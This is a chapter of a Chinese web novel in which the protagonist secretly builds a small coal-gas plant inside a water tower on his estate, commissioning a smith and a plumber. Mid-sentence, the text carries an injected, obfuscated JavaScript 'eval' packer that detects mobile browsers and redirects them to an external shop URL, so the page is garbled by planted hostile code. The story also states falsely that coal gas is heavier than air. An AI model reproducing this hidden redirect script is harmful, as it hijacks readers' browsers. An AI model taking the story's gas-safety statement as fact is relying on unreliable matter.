第25章动力塔
纳什先生的图纸送来之后,西奥多在书房里研究了整整三天。
水塔、锅炉房、管道走向、房间布局——这些都可以交给建筑师去办,纳什先生经验丰富,不需要他操心。但有一件事,他没有写在图纸上,也没有告诉纳什先生。那是他自己的工程,需要他自己来设计和指导。
他想要一座煤气厂。
不是那种供应整个街区的大型煤气厂,而是一座小型的、只供自己庄园使用的微型煤气厂。他在系统里查过资料,1810年的伦敦已经有人用煤气照明——1807年,Pall Mall就有了煤气路灯;几年后,几家工厂和剧院也开始安装煤气灯。这项技术不算超前,但把它装进私人住宅,在这个时代还是一件新鲜事。
所以他需要一个隐蔽的地方。
他在庄园的图纸上找了很久,最后把目光落在了西侧那座即将新建的水塔上。
水塔占地约十六平方英尺,高度四十英尺,砖石结构,外墙与主屋风格一致。如果只是在里面装一个水箱,太浪费了。他可以在底层加一座微型煤气厂——煤气发生炉、净化器、小型储气皮囊,全部塞进去。上层是水塔,下层是煤气厂,中间用砖墙完全隔开。煤气部分靠外墙一侧设通风百叶窗,避免气体积聚。煤堆放在塔外的小棚里,不进塔内,通过一条短通道送入。
水管从上往下走,利用重力自然加压;煤气管从下往上接,距离极短,直接通到一楼客厅和佣人区域。一上一下,一水一气,互不干扰。外面的人看过来,只是一座普通的水塔,谁会想到底层藏着一座微型煤气厂?
他在图纸上画了草图,标了尺寸和位置,又写了一份详细的建造说明。煤气发生炉的尺寸、净化器的结构、储气皮囊的材质、管道的走向——每一项都写得清清楚楚。写完之后,他把图纸和说明锁进了书房的抽屉里。
接下来是找人。他需要一个可靠的工匠来建造煤气发生炉和净化器,还要铺设管道。这个人不能是纳什先生手下的人——纳什先生只管房屋改造,不管这些。他需要一个独立的、嘴严的、技术好的铁匠。
他想到了汤姆·哈德森,一位在伦敦桥附近开铁匠铺的老师傅,专门做精密铁件,手艺在伦敦数一数二。西奥多之前找他做过几样东西,知道这个人技术好,但话不多,不该问的从来不问。
第二天一早,西奥多去了伦敦桥。
哈德森的铁匠铺在一座老式建筑的底层,门口挂着铁质的招牌,铺子里弥漫着煤炭和金属的气味。哈德森五十多岁,胳膊粗壮,手上全是老茧,但做起细活来比绣花还精细。
西奥多把图纸摊开给他看,详细解释了需要做的每一件东西。
“这是煤气发生炉,炉膛要分成两层,上层加煤,下层进空气。炉壁要加厚,内衬耐火砖。这是净化器,圆柱形铁罐,内部做三层隔板——第一层装焦炭,吸附焦油;第二层装石灰乳浸过的木屑,脱硫;第三层装细沙,除尘。这是储气皮囊,涂胶帆布,多层,密封性好,有弹性。”
哈德森看了很久,抬起头看着西奥多。
“菲利普斯先生,您这是……煤气?”
“对。”
“您懂这个?”
“研究过一段时间。”
哈德森又看了一遍图纸,用手指点了点净化器的第二层。“石灰脱硫,这个法子我听说过。Samuel Clegg几年前就在用。您这是把他的法子改了?”
“Clegg的法子是用湿石灰,我用的是石灰乳浸过的木屑,效果更好,成本更低。”西奥多说。他没说的是,这个改进是他从系统里的现代煤气净化工艺中学来的,只不过用这个时代能理解的方式表达了出来。
哈德森点了点头。“行。我给您做。但有一条——您用的时候要小心。煤气不是闹着玩的。”
“我知道。所有的接口都要密封,阀门设在室外。管道走墙壁内侧,用铸铁管,接口用铅封。使用前我会用肥皂水检漏——有气泡就是漏气。”
哈德森看了他一眼,目光里多了一些东西——不是惊讶,更像是认可。
“您比我见过的那些工程师还仔细。”
哈德森报了一个价。西奥多没有还价,付了三分之一的定金。
“工期多久?”
“一个月。”
“一个月后我来取。”
从哈德森的铺子出来,西奥多又去找了管道工。
管道工姓雷诺兹,四十多岁,专门做室内管道的铺设,做过伦敦好几家大宅子的供水系统。西奥多跟他说,需要在墙壁内侧铺设煤气管,从水塔底层一直通到一楼客厅和佣人区域。所有管道都要用铸铁管,接口处用铅封密封,阀门设在室外,管道末端装U型水封防回火。
雷诺兹看了他的图纸,皱了皱眉。
“菲利普斯先生,您这图纸比我见过的煤气管道图纸都详细。您学过工程?”
“我是医生。”西奥多说,“但我觉得,医生和工程师做的是一件事——都是把东西修好,不让它出问题。”
雷诺兹沉默了一会儿,然后点了点头。“行。我给您做。但我要加一条——管道铺好之后,您要自己检查一遍。我不担这个责任。”
“可以。”
雷诺兹报了一个价。西奥多没有还价,付了一半的定金。
接下来的一个月,西奥多几乎每天都泡在庄园里。
水塔的地基已经挖好了,砖石正在一层一层地往上砌。纳什先生的手下都是熟练工,砌墙的速度很快,但西奥多还是有些不放心——水塔底层的煤气厂是他自己设计的,那些预留的管道口、通风口、隔墙的位置,工人们未必看得懂图纸上的标注。他需要亲自盯着。
他穿着旧外套,站在地基旁边,手里拿着图纸,指挥工人调整预留孔的位置。工人们看了看他,又看了看纳什先生。纳什先生点了点头,意思是“听他的”。
底层隔墙砌筑的时候,西奥多蹲在墙边,用手指摸砖缝。煤气厂和水塔之间需要一道完全密封的砖墙,不能有任何缝隙。他发现两条缝不够密实,让工人重新填了灰浆。
通风百叶窗的位置也是他亲自定的。在离地面两英尺的地方,他画了线,让工人在那里留出通风口——煤气比空气重,泄漏后会沉在底部,通风口必须开在低处。
纳什先生站在一旁看着,忍不住问了一句。
“菲利普斯先生,您这水塔底层,是要放什么东西?”
西奥多头也没抬。“煤气厂。”
纳什先生愣了一下。“煤气厂?”
“微型煤气厂。供一楼客厅和佣人区的照明。”
纳什先生沉默了一会儿。“您打算在自家房子里装煤气灯?”
“对。”
“这东西安全吗?”
“只要设计得当,很安全。”西奥多说,“管道走墙壁内侧,接口密封,阀门设在室外,使用前检漏。比油灯安全——油灯还会打翻起火,煤气不会。”
纳什先生没有再问。他做了这么多年建筑师,见过各种各样的客户,但像西奥多这样自己设计煤气厂的,还是头一次。
不到三个星期,水塔的砖墙就砌到了顶部。西奥多让工人在塔顶安装了铸铁水箱,水箱与风车连接,风车转动时把井水抽进水箱。水箱的底部接出主水管,沿着水塔的内壁向下,在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554475|203248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地下室分成若干支路,通向全屋的各个用水点。
水塔主体完工的那天,西奥多站在塔下,抬头看了很久。这座砖石小塔不算壮观,但比例匀称,红砖白窗框,与主屋风格一致。从外面看,谁也不会想到它的底层藏着一座微型煤气厂。
水塔完工后,管道工雷诺兹带着两个徒弟来了。他们按照图纸,在水塔底层到一楼客厅之间铺设了铸铁管道,接口处用铅封仔细密封。西奥多全程在旁边看着,每一处接口都要亲自检查。他让雷诺兹用肥皂水抹在接口上,观察有没有气泡——这是他在系统里学到的检漏方法,简单有效。雷诺兹看了他的做法,若有所思地点了点头,但没有问为什么。
煤气管道铺完之后,西奥多又让雷诺兹在管道的最前端装了一个阀门,阀门的手柄伸出外墙,用一个小铁箱盖住。平时阀门是关着的,需要用煤气的时候,从外面打开铁箱,转动手柄即可。管道末端还加装了U型水封,防止火焰回窜。
雷诺兹做完这一切,收拾工具准备走的时候,忍不住说了一句。
“菲利普斯先生,您是我见过的第一个自己动手检查煤气管道的人。”
“因为我怕死。”西奥多说。
雷诺兹愣了一下,然后笑了。“您这话说得实在。”
一个月到了,哈德森派人来传话,说煤气发生炉和净化器做好了。
西奥多去了伦敦桥,在哈德森的铺子里看到了那套设备。炉子是铸铁的,做工精细,每一个法兰盘都打磨得光滑平整,密封垫圈用的是哈德森特制的石棉橡胶混合材料。净化器是一个圆柱形的铁罐,内部有三层隔板——第一层装焦炭,用于吸附焦油;第二层装石灰乳浸过的木屑,用于脱硫;第三层装细沙,用于除尘。
哈德森当场演示了一遍。他在炉子里加了煤,点燃,让煤气依次通过三层净化器。出气口连接储气皮囊,皮囊慢慢鼓起来。哈德森拔掉皮囊出口的木塞,点了一根火柴凑过去,一股蓝色的火焰喷了出来。
西奥多凑近闻了闻。没有臭味。
他又让哈德森把火焰烧久一点,观察了足足一刻钟。火焰稳定,没有黑烟,玻璃罩上几乎没有积碳。
“可以。”他说。
他把剩下的尾款付了,让哈德森的徒弟把设备装上马车,运到庄园。
安装设备的那天,西奥多从早到晚都泡在水塔底层。他指挥工人把炉子和净化器固定在指定位置,连接好所有的管道,又亲自安装皮囊的悬挂架。水塔底层只有几扇通风百叶窗透进来的光,光线昏暗,他点了一盏油灯,蹲在地上拧螺丝、接管道,外套上沾满了铁锈和煤灰。
纳什先生路过的时候,往里看了一眼,皱了皱眉,但什么也没说就走了。
傍晚时分,所有设备都安装完毕。西奥多站在水塔底层,从头到尾检查了一遍。管道、阀门、接口、密封圈——每一处都看了,每一处都试了。他打开阀门,让煤气从炉子流向净化器,再从净化器流向皮囊,皮囊慢慢鼓了起来。他走到水塔外面,打开墙上的铁箱,握住阀门手柄,深吸一口气,然后缓缓转动。
煤气沿着管道流向屋内。
他回到一楼客厅,站在那盏还没安装灯头的煤气管末端前面。管口用木塞封着,他拔掉木塞,退后两步,拿出一根火柴,划燃,扔向管口。
一团蓝色的火焰“噗”地一声亮了起来。
火焰不大,但很稳。橘黄色的光在客厅的墙壁上跳动,把那些还没上漆的木板照得忽明忽暗。没有臭味,没有黑烟,安静得像一盏普通的油灯,但亮得多、稳得多。
西奥多站在火焰前面,看了很久。
火是活的。这间房子也是活的。